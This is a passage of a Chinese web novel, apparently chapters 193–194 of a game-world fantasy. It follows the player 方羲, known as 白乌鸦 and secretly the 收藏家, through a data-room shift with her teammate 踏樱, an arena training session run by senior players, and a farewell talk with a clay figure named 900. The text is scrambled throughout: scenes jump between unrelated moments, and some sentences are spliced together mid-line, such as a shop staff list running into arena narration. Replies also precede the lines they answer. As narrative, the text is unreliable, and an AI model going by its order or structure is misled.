宋白玉惊愕地环视一圈四周，先是发现队友那一具具“尸体”，居然像被施了魔术一般，集体起死回生，现在也和他一样待在原地，警惕地打量周围的情况。 哗——哗—— 海浪在潮起潮落。 纯粹的天空蓝映入所有人的眼睛，干净得不染尘埃，如同无上仙境。 被天空照得发蓝的海水，无休无止地拍向沙滩、礁石，只在退场时留下一串晶莹的浪花。 他们身处无人孤岛。 千零二：“？” 但因为“一根羽毛”祝翎身份特殊，管理权限更高一点，所以没有和新晋玩家们一起工作。 踏樱看了一眼玉京子和King二人。 看来这两个人并不知道白鸦的另一层身份，或许是他们当时离主战场很远，没有看到“收藏家”的最后一箭。 当然也得益于黑天鹅的保密工作做得不错，但如果某人继续心大下去……踏樱忽然感到一丝不妙。 方羲闻言，顿时痛苦面具，并委婉地表示：“不，我可不是来坐牢的！我就是路过路过，你们做你们的事，我就在旁边看着！” 踏樱&玉京子&King：“？” 踏樱默默瞥了一眼方羲，心想果然不出所料，无奈地提醒道：“你可别太张扬了，如果有真实玩家过来，至少做一下样子。” 方羲深谙上班摸鱼之道，认真地点点头，已经从善如流地坐到沙发上，完全不打算碰操作台，把踏樱刚刚转赠给她的巧克力可乐薯片小蛋糕马卡龙咸蛋黄饼干等等等一并珍惜地摆在桌子上。 King看着方羲这一套下来相当熟练的动作，满脸难以置信，欲言又止。 玉京子也感到一丝诡异，但倒也没多问，敏锐如他，直觉认为“白乌鸦”或许得到了什么特殊许可，不必像他们这样忙碌。 但……哪怕是天才如笔底烟花、八千棋局两位傀儡师，在这种特殊时期，也被传召过来做任务。 新晋玩家白乌鸦有什么特殊理由逃避黑天鹅的命令？ 短暂的问候之后，三名新晋玩家回到操作台边上忙碌，而方羲则开始吃她今天正式的早餐。 好在数据室的工作区和休息区分得很清，所以方羲也不用顾及撕包装的声音吵到他们。 吃饱喝足之后，方羲在沙发上找了一个舒服的位置平躺，从游戏面板随便翻出一本书，盖在自己脸上，开始沉睡。 踏樱：“……” 虽然有些哭笑不得，但踏樱站在另一个角度来看，反而松了口气——幸好她还懂得照顾自己的身体。 但一小时后，数据室的宁静被一个消息打破。 一名猎人敲了敲门，冒出一个脑袋：“嗨，预备役们！还在忙吗？我正好路过，提前给你们通知一声，专属系统在十五分钟前苏醒了，预计在半小时之内陆续恢复正常运行。所以——长官说让你们今天一起休个假。等等……这里怎么有个人在躺着？” 咸鱼翻了一下身，根本没听到猎人的声音。 这名猎人的性格虽然没那么多管闲事，但也多打量了几眼，有些纳闷。 奇怪，这名新晋玩家她怎么好像没见过？ 踏樱立刻起身，上前转移猎人玩家的注意力，语气惊讶地问：“咦？这么突然？” “对。”猎人神秘地笑了笑，“连部分密匙玩家也会休假，他们打算下午在竞技场训练，毕竟最近难得没有副本可刷——长官的意思是，新晋玩家也可以过去观战，你们运气好的话，说不定能得到首席玩家的点名指导。” 三名新晋玩家对视一眼，都看见了各自脸上的惊喜。 只有某条沉睡的咸鱼，对外界的一切丝毫不感兴趣。 “请问时间是？”玉京子问。 “两小时后。”猎人说，“也可能会晚一点，你们关注一下系统的通知。” 猎人又看了一眼方羲，略感震撼，她上一次看见这么能摸鱼的士兵，还是在上一次。 “提醒一下你们的朋友。”猎人暗示道，“你们毕竟是预备役，多少要有点自觉。如果被长官看到，吃不了兜着走。” 咸鱼又翻了个身。 猎人说完后，便离开了数据室， “白鸦！醒醒，别睡了！”踏樱直接一把掀起方羲脸上的漫画书。 方羲茫然地睁开眼睛，还问：“怎么了？” 踏樱把刚刚的通知复述了一遍，不过省略了猎人的隐晦暗示，语气有些激动：“这可是个难得的机会！要知道上次的训练课程临时取消了，我可惜了好久！” 方羲：“(゜ロ゜) 啊……那你到时间再叫我。” King抽了抽嘴角，罕见地没吐槽，大概是觉得方羲身上的摆烂气息，已经彻底没救了。 五分钟后，他们果不其然收到了集体休假的通知，至于今天未完成的工作，可以延后到第二天。 “好吧，那我等会喊你！” 方羲抱着沙发自带的枕头，在睡梦中恍惚地想。其实她不是很能理解，既然是“休假”，为什么还要去竞技场训练，这和领导说要在下班后应酬团建有什么区别？ 不过方羲想起上一次，新晋玩家看见银月，仿佛跟看见偶像一样的崇拜神情，才勉强理解了一点。 方羲又昏睡了一个小时，做了个小卖部无法回本甚至负债累累的噩梦，瞬间吓得惊醒，再也睡不着了。 方羲从沙发上爬起来，好奇地走进工作区，发现里面只有踏樱还在忙碌。 “咦？你竟然醒了？”踏樱看了看时间，“我本来打算十五分钟之后叫醒你的，因为我们最好提前去霸占位置！” 方羲心底闪过一阵熟悉又不妙的感觉，又来了，踏樱身上和密匙玩家如出一撤的卷王气质。 “现在去也行。” 一开始，她对这项新工作还怪有热情的，还会自己长出一双透明的手，往书页中的无穷世界丢。 过了半小时，这只被命名为一千零二、外表看上去是一本黑壳的星云之书、实际是上帝之左眼的人偶，逐渐察觉到一丝不对劲。 “慢着！”一千零二尖叫道，“为什么这么多没用的垃圾！■■，你怎么回事？！” 方羲不为所动，按住一千零二。 她想了想，忽然间灵光一闪，直接抬起整个皮箱，直接往无穷世界里哗啦啦地倒！ “啊啊啊啊啊！”一千零二发出尖叫，“垃圾！我肚子里全是垃圾！■■，快住手！” 皮箱抖了抖，同情地看了它一眼。太好了，它终于要摆脱“收藏家的皮箱”这个身份了！ 旁观一切的900，也暗暗捏了把汗，不是他说，一千零一对待人偶也太简单粗暴了！不过，她的人偶虽然看上去不太情愿，但最后还是会听她的话。 “一千零一。”900忽然跳到方羲面前，犹豫了一下，“之前一直没机会，或许，我们该好好聊聊。” 他有点想改变主意了。 虽然，他幸运地被这名来历不明的新胚胎捡到，可以选择最喜欢的葬身之地。 但她只有一个人。 放眼整片人偶师的大地，他也的确没感知到哪里有像一千零一这样一个完整的灵魂，全是旧同伴那些碎得七零八落的灵魂。 你能指望这堆单细胞生物，能给出什么建设性的指导吗？ 呃，虽然他也只剩下半个脑子，好像也没什么区别。 而且第一次见面的时候，一千零一就说，笼子快要被打碎了。 方羲终于倒完皮箱里的东西，深感满意，并且心情很好。 她闻言看了一下这只在旁边从黄昏陪到深夜的泥土小人，露出一个堪称温柔的诡异微笑：“怎么了？” 900：“（因为这微笑感到一丝惊悚）” 他擦了擦额头并不存在的汗水，正色道：“之前没来得及说，那么，我再认真地自我介绍一下。” “我是900。” “一千人中的第九百个胚胎，9序列的第一人，最智慧博学的观测者，我对一切数据代码、人类历史条目、神秘学禁忌知识、各种生活小技巧……所有穷极的一切，过目不忘。” “我完整的大脑里，装着一个世界最浩瀚的图书馆。” 方羲摸摸下巴，嘀咕道：“真的吗？我怎么不太敢相信。” 因为900看上去不太聪明的样子。 “因为这些都是过去式了。”900差点裂开，但努力忍耐了一下，所以也没反驳，“我们毕竟只是人类，最后的观测者们可以活很久。但很多储存在大脑里的知识，全部像是黄叶子一样，腐烂在大地。而且有一些知识和记忆，都被屠夫拿了出去，来填充它的领域。” “说实话。”900说，“我们不太擅长战斗，虽然肯定比最强壮的普通人类好一点。如果换作是900号之前的任何一人，他们都不会栽在屠夫手里。但没办法，只要有人类，寿命都会有极限。” “所以，一千零一，我有一个疑问。” 所有人不敢置信地瞪大眼睛，死死地盯着船上那人的身影，生怕眼前的一切在眼底下溜走。 呼——呼—— 海风也无法掩盖人类高声呐喊的声音。 那名站在甲板之上，黑色长发顺着海风自由飘荡的人偶师，忽然注意到什么，看了过来。 当发现沙滩上的那些人是谁时，人偶师先是愣了一下，但马上又像是想通了什么似的，脸上露出一个令人无比熟悉又无比安心的微笑，朝着人群挥了挥手。 Hi. 好久不见。 第 193 章 第 193 章 方羲是如何从无数大异端手里，抢走这些“尸体”呢？ 是用弓箭，还是雕刻刀？ 是派出可爱猫猫，还是优雅的春醒？ 是正面攻击，还是用三寸不烂之舌，把异端糊弄得团团转？ 答：什么都没做。 是的——什么都没做。 方羲本来也做好了和大异端打架的准备，但不知道是她高估了异端们的团结度，还是低估了自己对异端的影响力（也可能两者皆有）。总之，在第一只大异端注意到方羲出现的时候，什么也没说，立刻收拾好自己的包裹，当场逃走了。 “什么？”方羲合理怀疑踏樱为了迁就自己，这个提前的时间甚至缩短了一些。 她们很快来到浮空岛的竞技场。 方羲像只幽灵一样，有气无力地跟上踏樱的脚步，一起在一处视野极佳的座位坐下。 附近全是不认识的玩家，方羲漫不经心地扫了一眼下面，发现新晋玩家与真实玩家之间，这一次并没有刻意分区。 顶多这边一团新晋玩家，那边一团真实玩家，有些社牛分子甚至已经开启热聊模式。 大概因为前一百名的新晋玩家，参加过恶魔降临的救援活动，已经被彻底认可为下一届的预备役了吧。 方羲看了一眼满脸期待的踏樱，又看了看压根还没开启的竞技场，问：“你好像很想和密匙玩家对战？” “对！”踏樱开启碎碎念模式，“实际上，我觉得我瓶颈好久了！再去做无意义的游戏副本只是一种消磨时间，而且现在是特殊时期，黑天鹅担心再发生意外，所以限制了好多对战活动，连我们想要一对一训练也禁止了……唉。” “原来如此。”方羲懒散地靠着椅背，左耳边全是踏樱碎碎念的声音。 方羲：目光游离.jpg 方羲顿时痛苦面具。踏樱这么想着，隐隐感觉自己仿佛猜到了真相，然后直接开口试探性问道。 方羲没回答，假装自己没听见。 踏樱：“……？？？” 方羲想了想，又感觉这样确实不太厚道，信誓旦旦地说：“怎么可能！说了是帮就是帮！对了，你的数据室是独立的，还是有其他玩家？有没有小面包之类的？我刚刚才起床……” 踏樱哽了一下。 这不是明目张胆的摸鱼，还能是什么？ 踏樱想了想，还是认真提醒道：“数据室有沙发，你可以在那待着。不过里面还有另外两个人，你们之前都见过。至于零食，我背包有很多，我看看……我直接转赠给你好了。” 方羲充满感激地看着踏樱，完全没有一个身为捣蛋鬼的自觉。 “我的数据室在这。”踏樱推开门，“每一个数据室都有五个操作台，但我们新晋玩家权限不够，主操作台动不了的。你想用的话，可以用剩下空置的一个。” 原本每间普通数据室，分配了四名新晋玩家工作。但“垂死病中惊坐起”今天休假，所以恰好多出了一个空位。 当然多不多也没关系，踏樱怀疑方羲根本不会去干活。 听见开门的响动声，King和玉京子下意识回头看了一眼——一张陌生又熟悉的，毫无记忆点的路人脸。 “居然是你？”这两个人看上去都相当惊讶。 毕竟距离上一次见面，也是将近两个月前的事了。 “好久不见。”玉京子站起来，礼貌地伸出手，“自从上次的战场，就一直没有机会再见过你，我听说……你的状态不太好。” 玉京子观察着方羲的脸色，发现她的呼吸没什么不对劲，便也松了口气。 方羲也上前和玉京子礼貌地握了握手。 King扯了扯嘴角，故意阴阳怪气道：“这么久不上线，我还以为你退化成一只缩头乌龟了……如果不是游戏时间太短，现在坐在一号数据室的玩家里应该有你吧。” 新晋玩家的工作数据室，是直接按排名划分。 正常来说，应该是踏樱、垂死病中惊坐起、玉京子、一根羽毛使用同一间数据室。 ……这个新晋玩家是？ 监控器背后的符瑶略感困惑，她记得新晋前百每一名玩家的脸，但为什么想不起这个人是谁？ 她立刻点击面板，锁定人脸，查询陌生玩家的个人信息。 三个月前才注册的新玩家。 新晋排名居然是九十九？！ 游戏昵称是……白乌鸦。 符瑶脸上的疑惑顷刻间消失，脸上甚至露出一丝哭笑不得。 ……原来是你。 踏樱竖起耳朵听了一会，发现再也没传来符瑶的声音，松了口气。 “走吧，我和你回去数据室。对了，我好像还没来得及和你说，我已经五级了！”方羲一口气喝完所有牛奶，把盒子精确地抛向不远处的垃圾桶，洋洋得意地说，“没想到吧！我也没想到，突然莫名其妙就升级了！” “……”刚走出数据室、站在外环广场的踏樱微微一愣，环顾四周，发现有一个熟悉的身影朝她招了招手。 踏樱眨了眨眼，脸上露出一个微笑：“好久不见。” “很久吗？”方羲手里还拿着一瓶牛奶，低着头拆开吸管，开始喝她迟到的早餐。 踏樱打量了一下方羲的精神状态，发现的确如密匙玩家传言的那样——生命状态很健康。 如果说，踏樱一开始只是胡乱的猜测，觉得只是一种诡异的巧合。 可在恶魔洒落的尸骨之下，她和所有新晋玩家一样，匆匆前来加入救援队伍，共同见证先行者那光辉的一瞬——踏樱什么都明白了。 那分明就是队友“白乌鸦”，对踏樱来说再熟悉不过的力量。 世界上可不存在一模一样的复制品！ 那枝净化的玫瑰是白鸦做的。 撕扯灵魂污垢的傀儡，也是白鸦做的。 而带领她通关真实副本的人，既是新晋玩家白乌鸦……也是失乐园一百年来唯一的先行者收藏家。 踏樱此时竟然感到几分忍俊不禁，淡色的眸子里仿佛盛满笑意，但脸上的微笑又像是勉强撑起来一样。 居然是你。 果然都是你。 事实上，来自监狱星球的踏樱，对所谓的先行者，并没有太大的向往，也没有什么特别的感受。 踏樱早早成为一名站在监狱斗角场顶端的杀手，手里的生存筹码已经积累得足够多。 但她对失乐园并不感兴趣，尤其是这种被冠之为“注册游戏账号，是每一个帝国公民的义务”的东西。 可当一度险先惨死在高级异端手下之时。 当终于获得星网公民权限，发现世界上有更多、更强大的帝国士兵之时。 所以她想，反正也刚好赶上新晋期，反正她也不用再像以前那样每天舔刀尖的血，那尝试一次新的挑战也无妨。 反正都是……为了活着。 踏樱微微垂眼，压下心底那片晦暗，又努力像以前那样扬起微笑，大脑却一时间有些空白，喉咙好像被卡住一样，一个字也说不出口。 最重要的生死危机已经过去。 但踏樱的内心却缓缓浮出一片无法言说的犹疑。 在恶魔投影游戏之时，即使只是身处还算安全的“场外”，她也感觉到一股恐怖得无法逾越的压力，那种被上千上万只异端注视的感觉。 黑天鹅有这么多随时可以响应收藏家命令的首席玩家。 而她只是一个尚未进化的新晋造梦家。 虽然说是队友，但我……我的成长速度，能跟得上你前进的脚步吗？ 踏樱这一刻觉得，“收藏家”有千千万万种理由更换队友。 甚至可以说，她独自通关真实试炼，也完全没有问题，多带一个玩家，说不定只是累赘。 方羲右手拿着牛奶，另一只手往口袋里翻找，取出昨天做好的樱花吊坠。 “手。” “啊……什么？”踏樱猛地回过神，下意识伸出手。 一串冰凉的宝石吊坠被放到手心。 “给你的。”方羲说，“算是保护灵魂的护身符，你记得一直戴着，非必要不拆卸。” 踏樱垂眼一看，有些发愣。 沾染了灵魂的“护身符”？ 踏樱忽然想起这段时间，她艰难打听到的一段战斗详情——据参战的首席玩家所说，他们遇上了一只强迫交换灵魂的异端，但收藏家仅仅百分之一的灵魂，就让这只活了不知道多久的高危异端成功破产。 ——我的灵魂很贵。 踏樱缓缓攥紧手心的吊坠。 你的灵魂，应该留来创造新的替行者，留来抵御高危异端的侵染……而不是放在无关紧要的临时队友身上。 “怎么了？”方羲问，“你脸色好像不太好，难道是任务太累了？” 方羲看着踏樱一直在原地不怎么说话，面露纠结，想了想，然后仿佛下定决心一般：“唉……那没办法了，我今天帮你一起做会任务好了。” 踏樱一愣，立刻说：“不用……等等！！！” 新晋玩家【白乌鸦】自然没什么特别任务可做。 可如果是先行者【收藏家】，踏樱觉得她应该有很多事情要忙。 但方羲已经走进建筑内部，并且很快意识到自己并不知道该去哪，转过头示意踏樱带路。 踏樱跟上来，左顾右盼了一会，有些焦急地解释道：“白鸦！你赶紧回去！核心区到处都是摄像头，而且因为专属系统故障，最近有些密匙玩家时不时会看几眼监控……” 果然不出踏樱所料，下一秒，一个严厉的声音在空气中响起。 “新晋玩家踏樱，你并未进行休假申请。现在正处于特殊时期，请尽快回到数据室。” 声音的主人顿了顿，又补充道：“如果有必要的理由，请先向二级长官进行申请，切勿私自离开任务岗位。” 方羲大惊失色，手里的牛奶盒险些被捏坏：“什么鬼？你们还要申请才能自由活动？” 像宋白玉他们那些首席玩家，方羲还能理解，但没想到连新晋玩家的遭遇也这么苛刻！ “不走吗？”方羲问。 踏樱手里还攥着吊坠，感觉眼底有些发热，但她脸上终于露出一个轻快的微笑：“那太好了，我们可以一起参加真实试炼了。” 也对。 踏樱跟上方羲，给她带路。 没什么可犹豫的，会想这些事情，本来就不是她的风格。 踏樱：叽叽喳喳.jpg “白乌鸦，我可以坐你旁边吗？”一个声音忽然响起。 方羲侧目看过去，是猎人一夕和造梦家草莓气泡水，还有她们其他几个猎人队友。 “随便坐。”方羲自然没什么意见，但也没说多余的话，转过头继续发呆。 一夕好奇地打量着方羲，距离上一次见面，已经隔了好一段时间，她曾经有好几次向踏樱询问白乌鸦的情况，但得到的答案都不尽人意。 “你终于上线了。” “啊……对。” “你的新晋排名掉了，加油。” “嗯嗯。” 坐在两侧的踏樱和草莓气泡水，默契地对视一眼，都在对方眼里看见惊异之色——一夕的说话相当诡异，主打一个省略，脑回路一般的人可能很难从她简短的字词里，翻译出完整的意思。 但一夕在方羲面前说话时，却是正常的语序。 一夕期待地问：“等会竞技场开放，我可以和你对战吗？” 方羲：“？” 方羲缓缓转过头，思考两秒，坚定地摇了摇头，表示她气血不足，反应迟钝，走路虚浮，只是来随便看看，而且今天的运势不宜打架。 一夕：“（失望）” 一夕：“那明天呢？” 方羲：“我明天有事。” 一夕：“你的任务可以全部推给我，我帮你完成，我速度很快，这样你就有空了。” 方羲看了眼一夕，发现对方相当执拗，顿了顿还是说：“谢谢你，我没有任务需要做，而且我明天不来浮空岛。” “……好的。” 一夕没再说话，脸上带着明显的失落，但也没有再强求。 半小时后，竞技场上来了更多的人。 “你们好。”八千棋局带着队友走过来，声音温和地打了个招呼，然后坐在她们前面一排的位置。 方羲看了他一眼，发现昨天还穿女装的八千棋局，现在换成了正常的男性战斗服，言行举止相当谦谦君子，温和又干练，不像昨天那样，硬演出来的脆弱感。 又过了一会，解云刚刚进场，原本想随便找个位置坐着，扫了一眼，忽然眼尖地看见某个讨厌的人，目光游离，像是在发呆。 解云：…… 解云想了想，走了过去，坐到八千棋局旁边，和队友霸占倒数第二排。 暗中观察的新晋玩家们：？ “虽然我之前说，我们绝对不能给自己做一副新的躯体，重新以人类的形式活着，但如果保持现在这样，其实也可以。” 伴随着900的声音，沉睡在人偶师大地，所有的灵魂碎片，仿佛都在这一刻悄然苏醒，竖起耳朵，悄悄偷听。 900问：“你需要，我留下来，作为一个同类的参照物，陪着你吗？” 窗外的树叶，在这一刻沙沙作响，更静了几分。 方羲看了看泥土小人，满脸认真，正在耐心地等待着她的回答。 “这不是我想要的。”方羲的声音却很平静，“你全身上下，都在叫嚣着痛苦和疲惫。既然你的时间已经结束了，那就没必要再勉强往前了。嗯……你还是好好去睡大觉吧。” 方羲并不执着于“同类”。“我已经开始头疼了（惊恐尖叫）我一点经验也没有！该如何才能圆滑地带领预备役成长，真怕他们不小心死掉……” “人居然是齐的，看来这一百名新晋都到场了。” “等等，这个白乌鸦怎么回事？她的综合数值…怎么进来了一个混子？” 全场的氛围忽然陷入诡异的凝固。 仅仅百人的首席玩家，参加这一次临时特训的也只有四十个人。 不过其中曾经跟随收藏家的玩家，却全部到场，占了全场人数的一半。 “……呃，怎么你们突然都不说话了？咋回事？”猎人问，“我说错什么了？哦，我知道了，这是你们哪个人专门培养的预备役？！早说嘛。” 宋白玉默默心想，这倒不至于，他们作为收藏家的“预备役”还差不多。 符瑶闻言，也跳到新晋玩家“白乌鸦”的个人信息资料看了一眼。 上面的四维普通数值，还停留在五到六千之间的范围，而三项特殊数值没有记录。可能是因为本人没有进行数值更新上传。 只有在造梦天赋的一栏，被祝翎填下了：失乐园（疑似概念型天赋，有待考证） 符瑶想起监控室看到的画面……她，似乎只是单纯过来玩一趟的样子，但幸好状态看上去还不错。 而且很年轻。 符瑶向来严厉的面庞露出一丝无奈，轻轻叹了口气，点击游戏面板，将“白乌鸦”移开特训名单，并打上了不可选择的标记。免得部分不知情的首席玩家，误以为她是预备役的一员，强制她上台战斗。 【各位玩家，竞技场已准备完毕，可随时启用。】 至于观众席的方羲，再次取出一包牛肉干，开始嚼嚼嚼。 “咳咳，喂喂喂，听得到吗？”宋白玉吊儿郎当的声音，在竞技场大厅里忽然响起，相当自恋地说，“没错！你们熟悉的我又来了！” 新晋玩家们：？ 我们还什么都没说呢？ 方羲从背包找到一本《残肢基础材料科普大全》，开始认真阅读。 宋白玉微微正色道：“因为近期发生了很多件大事，很多本应该针对新晋玩家举行的训练活动，一而再再而三地取消延后了。不过，等失乐园后天恢复正常运行，我们将再次开设正式的预演训练。至于真实试炼的时间……请各位耐心等待，失乐园还需要一段时间的缓冲。” “今天只是一次临时特训，规则不算复杂。”宋白玉懒洋洋地说，“上半段，你们会被长官随机拉进一对一的竞技场。因为也有真实玩家在，所以也有可能是小团体型对战。总之，做好心理准备，我们不会留情。” “游戏副本会带来一种虚幻的安全感。”宋白玉轻笑道，“对战热身之后，我们会共同进入一个大型仿真副本。但长官们不会参与战斗，最多给一点提示。” 踏樱低声问：“白鸦，你参加吗？” 一夕听到声音，也期待地看过去。 踏樱本来以为，方羲压根没在听首席玩家宋白玉的话，正打算为她再复述一遍规则。 不料，方羲嗯了一声：“个人对战，不去。但仿真副本，去。” 踏樱&一夕：“？！” 方羲话音刚落，隐约感觉四周传来了几道奇怪的视线，她茫然地移开书本的遮挡，但又发现好像什么也没有。 宋白玉的声音消失了两分钟，大概是在给新晋玩家消化理解的时间。 “哦，忘了提醒你们。”宋白玉继续懒洋洋地说，“我那届的总指挥是江队，再上一届的是孟长官。” 她更想要热闹的声音，新的声音。 队友因为胜利而相互击掌的声音，星航起飞发出的嗡鸣，人类富有音节美感的语言之声，锚点建立之时系统的电流错乱声。 还有醒来的时候，身边真的有一只大橘喵喵叫，天空真的是纯粹的蔚蓝色，窗外花海与蝴蝶翩翩起舞，藤蔓轻轻唱起的歌谣。 “原来如此，我知道了。” “你和001截然不同。”900说，“她相当在乎我们，哪怕是经常和她观念冲突、手段过于残忍的123。我们每一个人都知道，如果有一天，她需要在先行者与普通人类之间选择……” 900脸上露出一丝怀念，轻声道：“我们最爱戴的领袖，我们唯一的先锋，零零一，绝对会选择前者，决然地抛弃后者。” 但是。 哪怕900的双眼已经彻底退化为一双老花眼，视野模糊，经常看不清东西。 他也看得出来，一千零一的灵魂比精神领袖001要更耀眼，比发明家007要更天才，比理想主义者222更慈悲……而且，就在刚刚，她将最重要的器官之一，一只左眼，当作人偶核心材料的时候。 900在那一刻甚至觉得，1001似乎还有点像狂热的疯子，那个讨厌的444，一样的极端。 ——她果然是异端豢养的新胚胎，一个横跨千年时空，最后诞生的先行者。 “那就，祝你梦想成真，孤独的一千零一。” 就算没有9序列的观测者在，帝国的人类，也一定会永远铭记你。 900话音刚落，他就被某本黑壳书哼狠狠地踹了一脚：“你才孤独！神经病！诅咒谁呢？！” “哎哟，我错了，行行好！别再踢我了！”泥土小人发出无辜的惨叫！ 方羲打了个哈欠，忙了这么久，她实在有点困，现在时间已经是凌晨四点，马上就要天亮了！ 下线之前，方羲打开游戏面板，看了一眼之前自己重复发了一遍的广告，这次的转载量格外高，评论也很多！ “（疑惑）收藏家为啥直接复制粘贴了一遍？我还以为发了什么新东西？” 首席玩家们：“(゜ロ゜)好、好的！” 方羲：“……” 方羲趁乱逃走。 第 194 章 第 194 章 虽然被眼珠子大骂了一通，但首席玩家们好歹也从她的口中，了解到方羲从上线、进入副本、到抵达斗兽场的来龙去脉。 至于被方羲嫌弃太占甲板面积，被丢到孤岛沙滩美曰其名晒太阳的事……首席玩家们默契地避过不提。 不过关于极光号、关于方羲究竟为什么消失了这么久、还有如何从异端手中救下他们，种种关键的问题，一千零二并没有那个耐心解答。 “都给我滚！” 期间，春醒也和新的人偶——黑壳书，上帝之左眼，一千零二认识了。 春醒：“给我一只新的扫把。” 一千零二：“扫把？什么是扫把？哪种扫把？我有女巫的飞行扫帚，扫地僧的超高武力之扫把，还有价值一百个金币的全新扫把！你要哪一种？” 春醒：“普通的扫把。” 一千零二的透明之手挠了挠自己的书角，哗啦啦地翻页，从无穷宇宙中，取出一只破破旧旧的烂扫把。 春醒：“（忍耐）” 过了一会。 春醒：“你肚子里应该有异端的血肉吧？” 一千零二：“我不造啊。我只是一颗眼珠子，又不用吃饭。” 春醒：“（冷酷）快去喂猫！” 上帝之左眼委委屈屈地被赶去照顾两只饥饿的猫猫，委屈地从肚子里取出两只猫碗，拆开真空袋，给猫猫倒满食物。 结束这一项工作之后，她深感疲惫，飞到一张沙发上，给自己盖好小被子，开心地闭上眼睛，想要呼呼大睡。 但一千零二还没来得及休息上五分钟，可怕的藤蔓人偶又出现了！ 春醒：“感觉你话很多。这样吧，明天开店的时候，你的职位是导购，负责向客人介绍这些残肢材料怎么用，明白吗？” 一千零二：“不要啊！” 冷酷的副店长春醒并不理会，拿起一支笔，在员工表上，添加【一千零二】的名字。 欧律狄刻见此，也在店铺系统上，随之更新了一下信息。 店名：收藏家的小卖部 信用分：-3150 副店长：春醒反而一直盯着前面，有些出神，看不出她在想什么。 “你们决定好了吗？”宋白玉的声音似乎带上几分轻快的笑意，“没决定好也无所谓，一起刷几次大型仿真副本，答案说不定就来了。” 【竞技场已正式开放。】 【新晋玩家“笔底烟花”，请进入01号竞技场。您的对手为：首席造梦家程蔓野】 【新晋玩家“八千棋局”，请进入02号竞技场。您的对手为：首席造梦家江簌】 【新晋玩家“草莓气泡水”，请进入03号竞技场。您的对手为：首席造梦家疯苹果】 【新晋玩家“一夕”，请进入04号竞技场。您的对手为：首席猎人符瑶、秦淮月】 …… 【玩家“踏樱”，请进入05号竞技场。您的对手为：首席造梦家林镜子】 “白鸦，那我过去了。”踏樱说。 “去吧去吧。”方羲又翻了一页，漫不经心地说，“我在这里等你。” “没有长官邀请你吗？”一夕好奇地问。 方羲看了眼游戏面板，深沉地说：“好像没有，可能是觉得我这种小菜鸟没什么培养的价值吧。” 四周好像又忽然安静了几分。 踏樱无奈地叹了口气，点击游戏面板，率先瞬移到竞技场的世界。 其他有些犹疑的新晋玩家见此，也终于紧随其后。 随着一个个玩家传送去竞技场，四周变得空旷很多，方羲暗自松了口气，终于感觉空气没那么拥挤了。 只不过，在剩余一些驻守场外的密匙玩家看来，方羲落单的身影就显得尤为……突出。 方羲又取出《残肢进阶材料科普大全》，一边嚼着牛肉干看书，一边等踏樱回来。 【玩家“踏樱”，您已进入05号竞技场。】 【本次竞技场的运作主题为：起火的白色孤儿院】 火。剧烈地燃烧。 “哒。” 一颗石子被来者踩踏，又刻意地滚落。 造梦家穿着一身黑青色的魔女服，头戴一只略显肥壮的尖顶女巫帽，遮挡了大半张脸，只露出苍白的下颚和红唇。 她站在孤儿院的大门之前，身后是深红色的熊熊烈火。 空气中疯狂跳跃着危险的火花，却一丁点也没砸到魔女身上，烈火与人类脚下的一小圈地盘，仿佛被隔成两个世界。 踏樱微微眯眼，发现对方并无对战之意，也将伞尖轻轻搭在地面。 林镜子。 在上一届天才如云的新晋赛中，她的造梦天赋【创可贴】，最普通不过的一类，毫无特殊之处。 其本人的现实身份，也只是一个平平无奇的三等公民，不入流的中等生。因为无法支付帝国高校昂贵的学费，选择放弃升学，成为一名普通的上班族。 这么一个循规蹈矩的人，自然也不会反抗帝国的公民义务。在六年前，注册了失乐园的账号，并觉醒为一名造梦家。 事实上，在新晋赛整整三年，没有任何人注意到林镜子的存在。 林镜子就和她本身自卑腼腆的性格一样，籍籍无名。 就连林镜子通关真实试炼之后，作为一名真实玩家的很长一段时间。同行的猎人也觉得她的各项数值过于平均，没有特色，只能在普通战场给予一些聊胜无于的增益。 但偏偏也是她，在一批密匙小队，决定踏入高危副本之时，仿佛预感到什么，突兀地站了出来。 “我是林镜子。” “一名真实等级的造梦家，天赋…天赋是增益类的【创可贴】。” “请、请带上我。” 密匙玩家们面面相觑，严厉地拒绝了她的要求。 却不料，林镜子偷偷跟进了副本。这时候，密匙玩家哪怕想赶人，也不能强行打破已经封锁的副本区域，只好带她一起上路。 而一个月后，也是这名自卑懦弱、看上去没什么存在感的造梦家，将团队唯一的傀儡师，完好无损地带了回来。 一举掀起滔天巨浪。 再进一步调查，密匙玩家们才知道，这批小队遇上了一只游荡在过渡带的“巨人”，提前遭遇了毁灭性的打击。 傀儡师说，如果不是林镜子在，他们这支小队将无人生还。 有效店员： 真弱小。而观众席间，原先还有的嘈杂声，闻言即刻消失，全场陷入一片静默。 “自信一点，别这么士气低迷嘛！”宋白玉笑道，“你们可是——下一批顶在人类最前方，承受异端注视，负责开拓希望的前哨！” 【第七百七十七号大型仿真战斗场正式生成中……】 方羲轻轻合上书本，说：“好。” “一夕，你跟着我。” 踏樱和一夕对视一眼，一个松了口气，另一个终于露出如愿以偿的微笑。 【大型仿真副本生成成功！】 睁眼。 从未接触过高仿真度副本的眼睛们，微微一愣，发现耳边并未传来专属系统熟悉的声音。 红色的风沙在哗哗叫嚣。 踏樱习惯性握紧洋伞，眼神凌厉，快速扫了一眼四周。 伞尖轻点石壁，一个微型造梦场瞬间成形，疯一般攫取每一道细微的风声。 二十支新晋玩家，被分别投放到一座圆形碉堡，站在得天独厚的位置，能够以最全局的视野，防范城墙之外的异端。 而城墙之内，只生成了城镇、植被、虚拟的居民，像是一片片粗糙滥造的贴图。哪怕是灵感再普通的猎人，也能一眼窥见真相。 果然“简单”。 他们不必担忧后背的城镇会不会突逢异变，只需要一直驻守在碉堡，击溃前方源源不断袭来的异端，等待最终的BOSS就好了。 但是……空气好混浊。 踏樱呼吸一窒，淡色的眼眸里，倒映出纷飞在红色风沙之间，无数细微的异端细胞。 这是在变相地检测异端抗性吗？ “来了。” 造梦家们的领域重重交叠在一起，这能让他们哪怕隔着千米，也能达成重要的信息共享。 踏樱抬眼，望向百里之外。 长长的象鼻，两只雪白的巨牙，穿过深红色的风沙，露出身躯的一角。 还有一只巨象的脚，缓慢地落下。 随即，轰然踩碎人类的大地，掀起一片恐怖的微型地震！ 解云率先高声道：“所有造梦家，立刻开启净化的领域！” 踏樱微微垂眼，尽管她非常不情愿承认……但至少到现在，解云的确还是被新晋三千公认的眼睛。 【白乌鸦】的出现，比她晚了很多。 它失望地摇了摇头，离开。 而遍布野外训练基地的迷雾，也消失了。 救援队伍花费了整整一周，穿破异端残留的迷障，才艰难地在这片山荒野林，找到这批失踪的学生。 其结果是，超过三分之二的死伤人数。 